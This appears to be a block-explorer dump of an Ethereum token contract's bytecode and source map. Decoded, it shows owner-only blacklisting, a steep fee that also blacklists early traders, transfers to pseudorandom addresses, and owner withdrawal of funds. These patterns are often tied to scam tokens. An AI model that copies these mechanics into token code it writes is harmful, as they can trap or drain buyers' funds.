019080368337019050509050308160008151811061150b5761150b611b69565b6001600160a01b03928316602091820292909201810191909152600c54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611564573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115889190611c20565b8160018151811061159b5761159b611b69565b6001600160a01b039283166020918202929092010152600c541663791ac9476115c48488611b52565b60008430426040518663ffffffff1660e01b81526004016115e9959493929190611c3d565b600060405180830381600087803b15801561160357600080fd5b505af1158015611617573d6000803e3d6000fd5b5050505082846116279190611b52565b93504782156116ea5760008561163d8684611b33565b6116479190611bb1565b905080156116e857600c54600f5460405163f305d71960e01b81523060048201526024810187905260006044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990839060c40160606040518083038185885af11580156116bf573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906116e49190611cae565b5050505b505b50506015805460ff1916905550505050565b6001600160a01b038516600090815260026020526040902054611720908490611b52565b6001600160a01b038616600090815260026020526040812091909155821561179257600082156117535750600954611758565b506008545b600060646117668388611b33565b6117709190611bb1565b9050801561178f576117828184611bf0565b925061178f883083610f7b565b50505b611331868661146e8488611b52565b803b80156117ad575050565b6001600160a01b038216600090815260176020526040812054900361186e57601654158061180c5750816001600160a01b031660166000815481106117f4576117f4611b69565b6000918252602090912001546001600160a01b031614155b1561186e57601680546001600160a01b0384166000818152601760205260408120839055600183018455929092527fd833147d7dc355ba459fc788f669e58cfaf9dc25ddcd0702e87d69c7b51242890180546001600160a01b03191690911790555b5050565b6001600160a01b038116811461188757600080fd5b50565b60006020828403121561189c57600080fd5b81356118a781611872565b9392505050565b801515811461188757600080fd5b600080604083850312156118cf57600080fd5b82356118da81611872565b915060208301356118ea816118ae565b809150509250929050565b600060208083528351808285015260005b8181101561192257858101830151858201604001528201611906565b81811115611934576000604083870101525b50601f01601f1916929092016040019392505050565b60008060006040848603121561195f57600080fd5b833567ffffffffffffffff8082111561197757600080fd5b818601915086601f83011261198b57600080fd5b81358181111561199a57600080fd5b8760208260051b85010111156119af57600080fd5b6020928301989097509590910135949350505050565b600080604083850312156119d857600080fd5b82356119e381611872565b946020939093013593505050565b600060208284031215611a0357600080fd5b5035919050565b600080600060608486031215611a1f57600080fd5b8335611a2a81611872565b92506020840135611a3a81611872565b929592945050506040919091013590565b600080600060608486031215611a6057600080fd5b8335611a6b816118ae565b95602085013595506040909401359392505050565b60008060408385031215611a9357600080fd5b8235611a9e81611872565b915060208301356118ea81611872565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600181811c90821680611af757607f821691505b602082108103611b1757634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b6000816000190483118215151615611b4d57611b4d611b1d565b500290565b600082821015611b6457611b64611b1d565b500390565b634e487b7160e01b600052603260045260246000fd5b600060018201611b9157611b91611b1d565b5060010190565b600060208284031215611baa57600080fd5b5051919050565b600082611bce57634e487b7160e01b600052601260045260246000fd5b500490565b600060208284031215611be557600080fd5b81516118a7816118ae565b60008219821115611c0357611c03611b1d565b500190565b60006001600160ff1b018201611b9157611b91611b1d565b600060208284031215611c3257600080fd5b81516118a781611872565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611c8d5784516001600160a01b031683529383019391830191600101611c68565b50506001600160a01b03969096166060850152505050608001529392505050565b600080600060608486031215611cc357600080fd5b835192506020840151915060408401519050925092509256fea264697066735822122095a6da83bb71580d5cc86524fea507aed8fb2538b0c476e0ed7af011eb65269764736f6c634300080f0033

Deployed Bytecode

0x6080604052600436106102135760003560e01c80637d6027cd11610118578063adc7955d116100a0578063d83d41431161006f578063d83d414314610616578063dd62ed3e14610636578063f2fde38b1461067c578063f887ea401461069c578063fb201b1d146106bc57600080fd5b8063adc7955d146105b5578063b9fbc49d146105cb578063bdcc0c3b146105e1578063d0889358146105f657600080fd5b80639bb85344116100e75780639bb8534414610529578063a84248611461053f578063a9059cbb1461055f578063aa8b38d91461057f578063acef1a441461059f57600080fd5b80637d6027cd146104a65780638b4cee08146104d65780638da5cb5b146104f657806395d89b411461051457600080fd5b806323b872dd1161019b578063553193ca1161016a578063553193ca1461040b5780636ddd17131461042157806370a082311461043b578063715018a6146104715780637888ffdf1461048657600080fd5b806323b872dd14610361578063313ce567146103815780633c11100d146103a35780634188bf5a146103d357600080fd5b806308b3e419116101e257806308b3e419146102cc578063095ea7b3146102ec5780630cc835a31461030c578063125bfb661461032c57806318160ddd1461034c57600080fd5b806301986fad1461021f5780630445b6671461026457806305833c2b1461028857806306fdde03146102aa57600080fd5b3661021a57005b600080fd5b34801561022b57600080fd5b5061024f61023a36600461188a565b600a6020526000908152604090205460ff1681565b60405190151581526020015b60405180910390f35b34801561027057600080fd5b5061027a60135481565b60405190815260200161025b565b34801561029457600080fd5b506102a86102a33660046118bc565b6106d1565b005b3480156102b657600080fd5b506102bf610734565b60405161025b91906118f5565b3480156102d857600080fd5b506102a86102e736600461194a565b6107c6565b3480156102f857600080fd5b5061024f6103073660046119c5565b6109a6565b34801561031857600080fd5b506102a86103273660046119f1565b6109bc565b34801561033857600080fd5b506102a8610347366004611a0a565b6109f0565b34801561035857600080fd5b5060075461027a565b34801561036d57600080fd5b5061024f61037c366004611a0a565b610b21565b34801561038d57600080fd5b5060065460405160ff909116815260200161025b565b3480156103af57600080fd5b5061024f6103be36600461188a565b600e6020526000908152604090205460ff1681565b3480156103df57600080fd5b50600d546103f3906001600160a01b031681565b6040516001600160a01b03909116815260200161025b565b34801561041757600080fd5b5061027a60115481565b34801561042d57600080fd5b5060125461024f9060ff1681565b34801561044757600080fd5b5061027a61045636600461188a565b6001600160a01b031660009081526002602052604090205490565b34801561047d57600080fd5b506102a8610bb8565b34801561049257600080fd5b506102a86104a13660046118bc565b610c31565b3480156104b257600080fd5b5061024f6104c136600461188a565b600b6020526000908152604090205460ff1681565b3480156104e257600080fd5b506102a86104f13660046119f1565b610c8b565b34801561050257600080fd5b506000546001600160a01b03166103f3565b34801561052057600080fd5b506102bf610cbf565b34801561053557600080fd5b5061027a60105481565b34801561054b57600080fd5b506102a861055a3660046118bc565b610cce565b34801561056b57600080fd5b5061024f61057a3660046119c5565b610d28565b34801561058b57600080fd5b506102a861059a3660046119c5565b610d35565b3480156105ab57600080fd5b5061027a60145481565b3480156105c157600080fd5b5061027a60095481565b3480156105d757600080fd5b5061027a60085481565b3480156105ed57600080fd5b506102a8610db4565b34801561060257600080fd5b506102a8610611366004611a4b565b610dfa565b34801561062257600080fd5b506102a86106313660046118bc565b610e43565b34801561064257600080fd5b5061027a610651366004611a80565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561068857600080fd5b506102a861069736600461188a565b610e9d565b3480156106a857600080fd5b50600c546103f3906001600160a01b031681565b3480156106c857600080fd5b506102a8610f35565b3360009081526001602052604090205460ff166107095760405162461bcd60e51b815260040161070090611aae565b60405180910390fd5b6001600160a01b03919091166000908152601860205260409020805460ff1916911515919091179055565b60606004805461074390611ae3565b80601f016020809104026020016040519081016040528092919081815260200182805461076f90611ae3565b80156107bc5780601f10610791576101008083540402835291602001916107bc565b820191906000526020600020905b81548152906001019060200180831161079f57829003601f168201915b5050505050905090565b3360009081526001602052604090205460ff166107f55760405162461bcd60e51b815260040161070090611aae565b610321821061085c5760405162461bcd60e51b815260206004820152602d60248201527f474153204572726f723a206d61782061697264726f70206c696d69742069732060448201526c3830302061646472657373657360981b6064820152608401610700565b60006108688383611b33565b9050806108806104566000546001600160a01b031690565b10156108ce5760405162461bcd60e51b815260206004820152601b60248201527f4e6f7420656e6f75676820746f6b656e7320696e2077616c6c657400000000006044820152606401610700565b60005b8381101561099f5782600260006108f06000546001600160a01b031690565b6001600160a01b03166001600160a01b031681526020019081526020016000205461091b9190611b52565b600260006109316000546001600160a01b031690565b6001600160a01b0316815260208101919091526040016000205561098d6109606000546001600160a01b031690565b86868481811061097257610972611b69565b9050602002016020810190610987919061188a565b85610f7b565b8061099781611b7f565b9150506108d1565b5050505050565b60006109b3338484611000565b50600192915050565b3360009081526001602052604090205460ff166109eb5760405162461bcd60e51b815260040161070090611aae565b600855565b3360009081526001602052604090205460ff16610a1f5760405162461bcd60e51b815260040161070090611aae565b6040516370a0823160e01b81523060048201526000906001600160a01b038516906370a0823190602401602060405180830381865afa158015610a66573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a8a9190611b98565b90506001600160a01b03841663a9059cbb846064610aa88686611b33565b610ab29190611bb1565b6040516001600160e01b031960e085901b1681526001600160a01b03909216600483015260248201526044016020604051808303816000875af1158015610afd573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061099f9190611bd3565b6000610b2e848484611059565b6001600160a01b038416600090815260036020908152604080832033845290915290205460001914610bae576001600160a01b0384166000908152600360209081526040808320338452909152902054610b89908390611b52565b6001600160a01b03851660009081526003602090815260408083203384529091529020555b5060019392505050565b3360009081526001602052604090205460ff16610be75760405162461bcd60e51b815260040161070090611aae565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b3360009081526001602052604090205460ff16610c605760405162461bcd60e51b815260040161070090611aae565b6001600160a01b03919091166000908152600b60205260409020805460ff1916911515919091179055565b3360009081526001602052604090205460ff16610cba5760405162461bcd60e51b815260040161070090611aae565b600955565b60606005805461074390611ae3565b3360009081526001602052604090205460ff16610cfd5760405162461bcd60e51b815260040161070090611aae565b6001600160a01b03919091166000908152600e60205260409020805460ff1916911515919091179055565b60006109b3338484611059565b3360009081526001602052604090205460ff16610d645760405162461bcd60e51b815260040161070090611aae565b6001600160a01b0382166108fc6064610d7d8447611b33565b610d879190611bb1565b6040518115909202916000818181858888f19350505050158015610daf573d6000803e3d6000fd5b505050565b3360009081526001602052604090205460ff16610de35760405162461bcd60e51b815260040161070090611aae565b601054600003610df35743601055565b6000601055565b3360009081526001602052604090205460ff16610e295760405162461bcd60e51b815260040161070090611aae565b6012805460ff191693151593909317909255601355601455565b3360009081526001602052604090205460ff16610e725760405162461bcd60e51b815260040161070090611aae565b6001600160a01b03919091166000908152600a60205260409020805460ff1916911515919091179055565b3360009081526001602052604090205460ff16610ecc5760405162461bcd60e51b815260040161070090611aae565b600080546001600160a01b0319166001600160a01b038381169182178355818352600160208190526040808520805460ff19169092179091558354905192939116917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b3360009081526001602052604090205460ff16610f645760405162461bcd60e51b815260040161070090611aae565b601054600003610f745743601155565b6000601155565b6001600160a01b038216600090815260026020526040902054610f9f908290611bf0565b6001600160a01b0380841660008181526002602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610ff39085815260200190565b60405180910390a3505050565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259101610ff3565b6001600160a01b0383166000908152600b602052604090205460ff16156110ae5760405162461bcd60e51b815260206004820152600960248201526821b437b9b2b729b7b760b91b6044820152606401610700565b6001600160a01b0383166000908152600260205260409020548181101561110a5760405162461bcd60e51b815260206004820152601060248201526f0c4c2d8c2dcc6ca9cdee88adcdeeaced60831b6044820152606401610700565b6001600160a01b0384166000908152600a602052604090205460ff1615801561114c57506001600160a01b0383166000908152600a602052604090205460ff16155b156111d15760006111606298968084611bb1565b90506000805b60058112156111c15760408051602081018390529081018690524260608201526080016040516020818303038152906040528051906020012060001c91506111af878385610f7b565b806111b981611c08565b915050611166565b506111cc8285611b52565b935050505b6001600160a01b0384166000908152600e6020526040812054819060ff168061121257506001600160a01b0385166000908152600e602052604090205460ff165b156113cf576001600160a01b0386166000908152600a602052604090205460ff1615801561125957506001600160a01b0385166000908152600a602052604090205460ff16155b156113aa576011546000036112cc57601054600010801561129257506001600160a01b0385166000908152600e602052604090205460ff165b6112cc5760405162461bcd60e51b815260206004820152600b60248201526a02173746172744164644c560ac1b6044820152606401610700565b6011546112da906003611bf0565b431015611339576112ec8686866113fb565b6001600160a01b0386166000908152600e602052604090205460ff1615611331576001600160a01b0385166000908152600b60205260409020805460ff191660011790555b505050505050565b6001600160a01b0385166000908152600e602052604090205460ff16156113a55760155460ff166113a5573060009081526002602052604090205460125460ff1680156113865750600081115b156113a35760145481111561139a57506014545b6113a381611479565b505b600191505b6001600160a01b0385166000908152600e602052604090205460ff16156113cf575060015b6113dc86868685856116fc565b6001600160a01b038616301461133157801561133157611331866117a1565b6001600160a01b03831660009081526002602052604090205461141f908290611b52565b6001600160a01b038416600090815260026020526040812091909155606461144883604b611b33565b6114529190611bb1565b905061145f843083610f7b565b611473848461146e8486611b52565b610f7b565b50505050565b6015805460ff1916600117905560095460085460009161149891611bf0565b90506114a48180611bf0565b905060006008546009546114b89190611bf0565b90506000826114c78386611b33565b6114d19190611bb1565b6040805160028082526060820183529293506000929091602083019080368337019050509050308160008151811061150b5761150b611b69565b6001600160a01b03928316602091820292909201810191909152600c54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611564573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115889190611c20565b8160018151811061159b5761159b611b69565b6001600160a01b039283166020918202929092010152600c541663791ac9476115c48488611b52565b60008430426040518663ffffffff1660e01b81526004016115e9959493929190611c3d565b600060405180830381600087803b15801561160357600080fd5b505af1158015611617573d6000803e3d6000fd5b5050505082846116279190611b52565b93504782156116ea5760008561163d8684611b33565b6116479190611bb1565b905080156116e857600c54600f5460405163f305d71960e01b81523060048201526024810187905260006044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990839060c40160606040518083038185885af11580156116bf573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906116e49190611cae565b5050505b505b50506015805460ff1916905550505050565b6001600160a01b038516600090815260026020526040902054611720908490611b52565b6001600160a01b038616600090815260026020526040812091909155821561179257600082156117535750600954611758565b506008545b600060646117668388611b33565b6117709190611bb1565b9050801561178f576117828184611bf0565b925061178f883083610f7b565b50505b611331868661146e8488611b52565b803b80156117ad575050565b6001600160a01b038216600090815260176020526040812054900361186e57601654158061180c5750816001600160a01b031660166000815481106117f4576117f4611b69565b6000918252602090912001546001600160a01b031614155b1561186e57601680546001600160a01b0384166000818152601760205260408120839055600183018455929092527fd833147d7dc355ba459fc788f669e58cfaf9dc25ddcd0702e87d69c7b51242890180546001600160a01b03191690911790555b5050565b6001600160a01b038116811461188757600080fd5b50565b60006020828403121561189c57600080fd5b81356118a781611872565b9392505050565b801515811461188757600080fd5b600080604083850312156118cf57600080fd5b82356118da81611872565b915060208301356118ea816118ae565b809150509250929050565b600060208083528351808285015260005b8181101561192257858101830151858201604001528201611906565b81811115611934576000604083870101525b50601f01601f1916929092016040019392505050565b60008060006040848603121561195f57600080fd5b833567ffffffffffffffff8082111561197757600080fd5b818601915086601f83011261198b57600080fd5b81358181111561199a57600080fd5b8760208260051b85010111156119af57600080fd5b6020928301989097509590910135949350505050565b600080604083850312156119d857600080fd5b82356119e381611872565b946020939093013593505050565b600060208284031215611a0357600080fd5b5035919050565b600080600060608486031215611a1f57600080fd5b8335611a2a81611872565b92506020840135611a3a81611872565b929592945050506040919091013590565b600080600060608486031215611a6057600080fd5b8335611a6b816118ae565b95602085013595506040909401359392505050565b60008060408385031215611a9357600080fd5b8235611a9e81611872565b915060208301356118ea81611872565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600181811c90821680611af757607f821691505b602082108103611b1757634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b6000816000190483118215151615611b4d57611b4d611b1d565b500290565b600082821015611b6457611b64611b1d565b500390565b634e487b7160e01b600052603260045260246000fd5b600060018201611b9157611b91611b1d565b5060010190565b600060208284031215611baa57600080fd5b5051919050565b600082611bce57634e487b7160e01b600052601260045260246000fd5b500490565b600060208284031215611be557600080fd5b81516118a7816118ae565b60008219821115611c0357611c03611b1d565b500190565b60006001600160ff1b018201611b9157611b91611b1d565b600060208284031215611c3257600080fd5b81516118a781611872565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611c8d5784516001600160a01b031683529383019391830191600101611c68565b50506001600160a01b03969096166060850152505050608001529392505050565b600080600060608486031215611cc357600080fd5b835192506020840151915060408401519050925092509256fea264697066735822122095a6da83bb71580d5cc86524fea507aed8fb2538b0c476e0ed7af011eb65269764736f6c634300080f0033

Deployed Bytecode Sourcemap

13653:279:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2967:45;;;;;;;;;;-1:-1:-1;2967:45:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;567:14:1;;560:22;542:41;;530:2;515:18;2967:45:0;;;;;;;;3335:28;;;;;;;;;;;;;;;;;;;740:25:1;;;728:2;713:18;3335:28:0;594:177:1;13000:119:0;;;;;;;;;;-1:-1:-1;13000:119:0;;;;;:::i;:::-;;:::i;:::-;;4886:78;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;13150:494::-;;;;;;;;;;-1:-1:-1;13150:494:0;;;;;:::i;:::-;;:::i;5526:133::-;;;;;;;;;;-1:-1:-1;5526:133:0;;;;;:::i;:::-;;:::i;10799:89::-;;;;;;;;;;-1:-1:-1;10799:89:0;;;;;:::i;:::-;;:::i;12190:248::-;;;;;;;;;;-1:-1:-1;12190:248:0;;;;;:::i;:::-;;:::i;5054:79::-;;;;;;;;;;-1:-1:-1;5124:7:0;;5054:79;;5667:336;;;;;;;;;;-1:-1:-1;5667:336:0;;;;;:::i;:::-;;:::i;4970:78::-;;;;;;;;;;-1:-1:-1;5037:9:0;;4970:78;;5037:9;;;;3690:36:1;;3678:2;3663:18;4970:78:0;3548:184:1;3133:45:0;;;;;;;;;;-1:-1:-1;3133:45:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;3102:24;;;;;;;;;;-1:-1:-1;3102:24:0;;;;-1:-1:-1;;;;;3102:24:0;;;;;;-1:-1:-1;;;;;3901:32:1;;;3883:51;;3871:2;3856:18;3102:24:0;3737:203:1;3259:30:0;;;;;;;;;;;;;;;;3298;;;;;;;;;;-1:-1:-1;3298:30:0;;;;;;;;5139:103;;;;;;;;;;-1:-1:-1;5139:103:0;;;;;:::i;:::-;-1:-1:-1;;;;;5222:18:0;5205:7;5222:18;;;:9;:18;;;;;;;5139:103;2384:148;;;;;;;;;;;;;:::i;11769:112::-;;;;;;;;;;-1:-1:-1;11769:112:0;;;;;:::i;:::-;;:::i;3019:42::-;;;;;;;;;;-1:-1:-1;3019:42:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;10896:91;;;;;;;;;;-1:-1:-1;10896:91:0;;;;;:::i;:::-;;:::i;2297:79::-;;;;;;;;;;-1:-1:-1;2335:7:0;2362:6;-1:-1:-1;;;;;2362:6:0;2297:79;;4798:82;;;;;;;;;;;;;:::i;3222:30::-;;;;;;;;;;;;;;;;11889:118;;;;;;;;;;-1:-1:-1;11889:118:0;;;;;:::i;:::-;;:::i;5248:139::-;;;;;;;;;;-1:-1:-1;5248:139:0;;;;;:::i;:::-;;:::i;12015:167::-;;;;;;;;;;-1:-1:-1;12015:167:0;;;;;:::i;:::-;;:::i;3370:31::-;;;;;;;;;;;;;;;;2929:29;;;;;;;;;;;;;;;;2894:28;;;;;;;;;;;;;;;;11246:189;;;;;;;;;;;;;:::i;10995:243::-;;;;;;;;;;-1:-1:-1;10995:243:0;;;;;:::i;:::-;;:::i;11643:118::-;;;;;;;;;;-1:-1:-1;11643:118:0;;;;;:::i;:::-;;:::i;5393:127::-;;;;;;;;;;-1:-1:-1;5393:127:0;;;;;:::i;:::-;-1:-1:-1;;;;;5491:18:0;;;5474:7;5491:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;5393:127;2108:181;;;;;;;;;;-1:-1:-1;2108:181:0;;;;;:::i;:::-;;:::i;3070:25::-;;;;;;;;;;-1:-1:-1;3070:25:0;;;;-1:-1:-1;;;;;3070:25:0;;;11443:189;;;;;;;;;;;;;:::i;13000:119::-;2032:10;2025:18;;;;:6;:18;;;;;;;;2017:63;;;;-1:-1:-1;;;2017:63:0;;;;;;;:::i;:::-;;;;;;;;;-1:-1:-1;;;;;13083:19:0;;;::::1;;::::0;;;:13:::1;:19;::::0;;;;:28;;-1:-1:-1;;13083:28:0::1;::::0;::::1;;::::0;;;::::1;::::0;;13000:119::o;4886:78::-;4934:13;4957:5;4950:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4886:78;:::o;13150:494::-;2032:10;2025:18;;;;:6;:18;;;;;;;;2017:63;;;;-1:-1:-1;;;2017:63:0;;;;;;;:::i;:::-;13271:3:::1;13252:22:::0;::::1;13244:79;;;::::0;-1:-1:-1;;;13244:79:0;;6155:2:1;13244:79:0::1;::::0;::::1;6137:21:1::0;6194:2;6174:18;;;6167:30;6233:34;6213:18;;;6206:62;-1:-1:-1;;;6284:18:1;;;6277:43;6337:19;;13244:79:0::1;5953:409:1::0;13244:79:0::1;13334:12;13349:26;13359:9:::0;13349:7;:26:::1;:::i;:::-;13334:41;;13416:4;13394:18;13404:7;2335::::0;2362:6;-1:-1:-1;;;;;2362:6:0;;2297:79;13394:18:::1;:26;;13386:66;;;::::0;-1:-1:-1;;;13386:66:0;;6874:2:1;13386:66:0::1;::::0;::::1;6856:21:1::0;6913:2;6893:18;;;6886:30;6952:29;6932:18;;;6925:57;6999:18;;13386:66:0::1;6672:351:1::0;13386:66:0::1;13467:6;13463:174;13477:20:::0;;::::1;13463:174;;;13560:7;13539:9;:18;13549:7;2335::::0;2362:6;-1:-1:-1;;;;;2362:6:0;;2297:79;13549:7:::1;-1:-1:-1::0;;;;;13539:18:0::1;-1:-1:-1::0;;;;;13539:18:0::1;;;;;;;;;;;;;:28;;;;:::i;:::-;13518:9;:18;13528:7;2335::::0;2362:6;-1:-1:-1;;;;;2362:6:0;;2297:79;13528:7:::1;-1:-1:-1::0;;;;;13518:18:0::1;::::0;;::::1;::::0;::::1;::::0;;;;;;-1:-1:-1;13518:18:0;:49;13582:43:::1;13596:7;2335::::0;2362:6;-1:-1:-1;;;;;2362:6:0;;2297:79;13596:7:::1;13604:9;;13614:1;13604:12;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;13617:7;13582:13;:43::i;:::-;13499:3:::0;::::1;::::0;::::1;:::i;:::-;;;;13463:174;;;;13233:411;13150:494:::0;;;:::o;5526:133::-;5601:4;5608:37;5617:10;5629:7;5638:6;5608:8;:37::i;:::-;-1:-1:-1;5653:4:0;5526:133;;;;:::o;10799:89::-;2032:10;2025:18;;;;:6;:18;;;;;;;;2017:63;;;;-1:-1:-1;;;2017:63:0;;;;;;;:::i;:::-;10863:9:::1;:17:::0;10799:89::o;12190:248::-;2032:10;2025:18;;;;:6;:18;;;;;;;;2017:63;;;;-1:-1:-1;;;2017:63:0;;;;;;;:::i;:::-;12316:38:::1;::::0;-1:-1:-1;;;12316:38:0;;12348:4:::1;12316:38;::::0;::::1;3883:51:1::0;12294:19:0::1;::::0;-1:-1:-1;;;;;12316:23:0;::::1;::::0;::::1;::::0;3856:18:1;;12316:38:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12294:60:::0;-1:-1:-1;;;;;;12365:22:0;::::1;;12388:4:::0;12426:3:::1;12393:30;12407:16:::0;12294:60;12393:30:::1;:::i;:::-;:36;;;;:::i;:::-;12365:65;::::0;-1:-1:-1;;;;;;12365:65:0::1;::::0;;;;;;-1:-1:-1;;;;;8033:32:1;;;12365:65:0::1;::::0;::::1;8015:51:1::0;8082:18;;;8075:34;7988:18;;12365:65:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;5667:336::-:0;5765:4;5782:36;5792:6;5800:9;5811:6;5782:9;:36::i;:::-;-1:-1:-1;;;;;5833:19:0;;2883:1;5833:19;;;:11;:19;;;;;;;;5853:10;5833:31;;;;;;;;-1:-1:-1;;5833:38:0;5829:145;;-1:-1:-1;;;;;5922:19:0;;;;;;:11;:19;;;;;;;;5942:10;5922:31;;;;;;;;:40;;5956:6;;5922:40;:::i;:::-;-1:-1:-1;;;;;5888:19:0;;;;;;:11;:19;;;;;;;;5908:10;5888:31;;;;;;;:74;5829:145;-1:-1:-1;5991:4:0;5667:336;;;;;:::o;2384:148::-;2032:10;2025:18;;;;:6;:18;;;;;;;;2017:63;;;;-1:-1:-1;;;2017:63:0;;;;;;;:::i;:::-;2491:1:::1;2475:6:::0;;2454:40:::1;::::0;-1:-1:-1;;;;;2475:6:0;;::::1;::::0;2454:40:::1;::::0;2491:1;;2454:40:::1;2522:1;2505:19:::0;;-1:-1:-1;;;;;;2505:19:0::1;::::0;;2384:148::o;11769:112::-;2032:10;2025:18;;;;:6;:18;;;;;;;;2017:63;;;;-1:-1:-1;;;2017:63:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;11848:16:0;;;::::1;;::::0;;;:10:::1;:16;::::0;;;;:25;;-1:-1:-1;;11848:25:0::1;::::0;::::1;;::::0;;;::::1;::::0;;11769:112::o;10896:91::-;2032:10;2025:18;;;;:6;:18;;;;;;;;2017:63;;;;-1:-1:-1;;;2017:63:0;;;;;;;:::i;:::-;10961:10:::1;:18:::0;10896:91::o;4798:82::-;4848:13;4871:7;4864:14;;;;;:::i;11889:118::-;2032:10;2025:18;;;;:6;:18;;;;;;;;2017:63;;;;-1:-1:-1;;;2017:63:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;11971:19:0;;;::::1;;::::0;;;:13:::1;:19;::::0;;;;:28;;-1:-1:-1;;11971:28:0::1;::::0;::::1;;::::0;;;::::1;::::0;;11889:118::o;5248:139::-;5326:4;5333:40;5343:10;5355:9;5366:6;5333:9;:40::i;12015:167::-;2032:10;2025:18;;;;:6;:18;;;;;;;;2017:63;;;;-1:-1:-1;;;2017:63:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;12106:22:0;::::1;:68;12170:3;12129:38;12151:16:::0;12129:21:::1;:38;:::i;:::-;:44;;;;:::i;:::-;12106:68;::::0;;::::1;::::0;;::::1;::::0;::::1;::::0;;;;;;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;12015:167:::0;;:::o;11246:189::-;2032:10;2025:18;;;;:6;:18;;;;;;;;2017:63;;;;-1:-1:-1;;;2017:63:0;;;;;;;:::i;:::-;11300:15:::1;;11319:1;11300:20:::0;11297:131:::1;;11354:12;11336:15;:30:::0;11246:189::o;11297:131::-:1;11415:1;11397:15;:19:::0;11246:189::o;10995:243::-;2032:10;2025:18;;;;:6;:18;;;;;;;;2017:63;;;;-1:-1:-1;;;2017:63:0;;;;;;;:::i;:::-;11120:11:::1;:22:::0;;-1:-1:-1;;11120:22:0::1;::::0;::::1;;::::0;;;::::1;::::0;;;11153:13:::1;:30:::0;11194:16:::1;:36:::0;10995:243::o;11643:118::-;2032:10;2025:18;;;;:6;:18;;;;;;;;2017:63;;;;-1:-1:-1;;;2017:63:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;11725:19:0;;;::::1;;::::0;;;:13:::1;:19;::::0;;;;:28;;-1:-1:-1;;11725:28:0::1;::::0;::::1;;::::0;;;::::1;::::0;;11643:118::o;2108:181::-;2032:10;2025:18;;;;:6;:18;;;;;;;;2017:63;;;;-1:-1:-1;;;2017:63:0;;;;;;;:::i;:::-;2192:6:::1;:12:::0;;-1:-1:-1;;;;;;2192:12:0::1;-1:-1:-1::0;;;;;2192:12:0;;::::1;::::0;;::::1;::::0;;2215:11;;;-1:-1:-1;2215:11:0::1;::::0;;;;;;;:18;;-1:-1:-1;;2215:18:0::1;::::0;;::::1;::::0;;;2270:6;;2249:32;;2192:12;;2270:6;::::1;::::0;2249:32:::1;::::0;2192:6;2249:32:::1;2108:181:::0;:::o;11443:189::-;2032:10;2025:18;;;;:6;:18;;;;;;;;2017:63;;;;-1:-1:-1;;;2017:63:0;;;;;;;:::i;:::-;11497:15:::1;;11516:1;11497:20:::0;11494:131:::1;;11551:12;11533:15;:30:::0;11246:189::o;11494:131::-:1;11612:1;11594:15;:19:::0;11443:189::o;10578:213::-;-1:-1:-1;;;;;10715:13:0;;;;;;:9;:13;;;;;;:23;;10731:7;;10715:23;:::i;:::-;-1:-1:-1;;;;;10699:13:0;;;;;;;:9;:13;;;;;;;:39;;;;10754:29;;;;;;;;;;10775:7;740:25:1;;728:2;713:18;;594:177;10754:29:0;;;;;;;;10578:213;;;:::o;6011:177::-;-1:-1:-1;;;;;6096:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;6148:32;;740:25:1;;;6148:32:0;;713:18:1;6148:32:0;594:177:1;6196:2024:0;-1:-1:-1;;;;;6319:16:0;;;;;;:10;:16;;;;;;;;6318:17;6310:39;;;;-1:-1:-1;;;631